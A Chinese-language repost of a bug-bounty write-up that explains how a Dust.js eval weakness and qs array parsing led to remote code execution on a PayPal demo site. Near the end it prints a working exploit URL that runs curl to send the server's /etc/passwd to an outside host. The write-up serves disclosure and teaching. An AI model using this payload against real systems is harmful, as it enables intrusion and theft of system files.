PayPal某站價值1W美金的RCE漏洞

當我在測試應用漏洞時,通常都會對所有的變數進行模糊測試,有時候能找出一些不一樣的漏洞。

demo.paypal.com的伺服器在處理請求數據中的和%0a時,會在響應中直接拋出錯誤。但是如果提交帶有』(單引號)、」(雙引號)和一些其他字元時,伺服器都會返回狀態碼為200的OK響應。

從報錯信息看,我發現該站點是一個Node.js應用,它在服務端使用的模板引擎為Dust.js(github.com/linkedin/dus),所以我決定好好研究下這個引擎。通過研究我發現,之所以拋出錯誤的原因是使用了Dust.js的」if」語法(github.com/linkedin/dus)。

老版本的Dust.js支持」if」語法,你可以通過如下的代碼使用它:

」if」語法內部會調用eval來執行語句。

從上面你可以看到直接調用了eval來執行代碼,這真是一個和優雅的解決方案......

所以當我發起如下請求時:demo.paypal.com/demo/na,應用會執行以下表達式:eval("xxx== desktop");,然後就拋出錯誤了。

這是不是意味著用戶提交的數據直接被eval()執行了?也不完全是,應用會將一些字元,比如說』(單引號)和」(雙引號)轉換成實體字元( -> ),所以我們沒辦法直接閉合原來的語句然後執行任意代碼。但是讓我們再好好看下進行字元替換的函數(github.com/linkedin/dus):

那如果我們提交的數據不是字元串呢?在Node.js的應用中,如果我們提交如下數據:paypal.com/?[]=1&device[]=2,變數』device』會被qs模塊(npmjs.com/package/qs)解析成數組。

我提交了如下數據:demo.paypal.com/demo/na[]=&device[]=後,從返回的syntaxerror內容,我就知道離成功不遠了。我繼續構造數據,最後花了幾分鐘構造了如下請求來讀取伺服器上的/etc/passwd文件內容並發送到我的伺服器。

https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y-require(child_process).exec(curl+-F+"x=`cat+/etc/passwd`"+artsploit.com)-

因為這個字元串處理問題,我(筆者)獲得了1W美金。

註:本文參考來源於artsploit

推薦閱讀:

實例分析:趨勢
孟洪濤:阻力區的確定
Android是否存在網路注入攻擊?
如何在數秒之內破解APT28流量?
我也想躺著收錢:一個比特幣套利系統的實現

TAG:PayPal | 技术分析 |